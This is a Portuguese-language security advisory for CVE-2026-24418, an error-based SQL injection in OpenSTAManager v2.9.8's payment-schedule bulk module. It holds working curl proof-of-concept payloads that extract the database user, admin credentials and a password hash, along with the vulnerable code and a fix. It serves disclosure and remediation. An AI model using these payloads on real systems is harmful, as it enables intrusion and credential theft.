
CVE-2026-24418 - O OpenSTAManager possui uma vulnerabilidade de Injeção de SQL no módulo de operações em massa do Scadenzario
| Campo | Detalhes |
|---|
| ID do CVE | CVE-2026-24418 |
| Severidade | ALTA |
| Aviso de Segurança | Ver Aviso |
| Descoberto por | Lukasz Rybak |
Vulnerabilidade crítica de Injeção de SQL baseada em erro no módulo de operações em massa do Scadenzario (Cronograma de Pagamentos) do OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam o conteúdo completo do banco de dados, incluindo credenciais de usuários, PII de clientes e registros financeiros, por meio de mensagens de erro XML.
Status: ✅ Confirmado e testado em instância ativa (v2.9.8)
Parâmetro Vulnerável: id_records[] (array POST)
Endpoint Afetado: /actions.php?id_module=18 (módulo Scadenzario)
Tipo de Ataque: Injeção de SQL baseada em erro (cláusula IN)
O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção de SQL baseada em erro no manipulador de operações em massa do módulo Scadenzario (Cronograma de Pagamentos). O aplicativo não valida se os elementos do array id_records são inteiros antes de usá-los em uma cláusula SQL IN(), permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis por meio de mensagens de erro XPATH.
Cadeia da Vulnerabilidade:
Ponto de Entrada: /actions.php (Linhas 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
A função array_clean() apenas remove valores vazios - ela NÃO valida tipos.
Função Vulnerável: /lib/util.php (Linhas 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
Impacto: A função filtra valores vazios, mas aceita qualquer valor não vazio, incluindo payloads de injeção de SQL.
Ponto de Injeção SQL: /modules/scadenzario/bulk.php (Linha 88) VULNERABILIDADE PRINCIPAL
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Impacto: Os elementos do array $id_records são concatenados diretamente usando implode() sem validação de tipo ou prepare(), permitindo injeção completa de SQL.
Análise da Causa Raiz:
A vulnerabilidade existe porque:
post('id_records') retorna um array controlado pelo usuárioarray_clean() apenas remove valores vazios, não valores não inteirosimplode(',', $id_records) concatena os elementos do array diretamente no SQLid_records[]=1&id_records[]=(MALICIOUS SQL)#Caminho de Código Afetado:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
Etapa 1: Login
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Etapa 2: Verificar a Vulnerabilidade (Injeção de SQL baseada em erro)
Teste 1: Extrair Usuário e Versão do Banco de Dados
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
Resposta (mensagem de erro visível para o atacante):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Teste 2: Extrair Credenciais do Administrador
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Resposta:
<code>XPATH syntax error: '~admin:[email protected]'</code>
Teste 3: Extrair Hash da Senha (Parte 1 - primeiros 31 caracteres)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Resposta:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Teste 4: Extrair Hash da Senha (Parte 2 - caracteres 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Resposta:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Hash de Senha Combinado:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Todos os usuários autenticados com acesso às operações em massa do módulo Scadenzario (Cronograma de Pagamentos).
Correção Recomendada:
Correção Principal - Validação de Tipo:
Arquivo: /modules/scadenzario/bulk.php
ANTES (Vulnerável - Linha 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
DEPOIS (Corrigido):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Descoberto por Łukasz Rybak
Este CVE foi divulgado de forma responsável seguindo as práticas de divulgação coordenada de vulnerabilidades. As informações fornecidas aqui têm finalidade exclusivamente educacional e defensiva.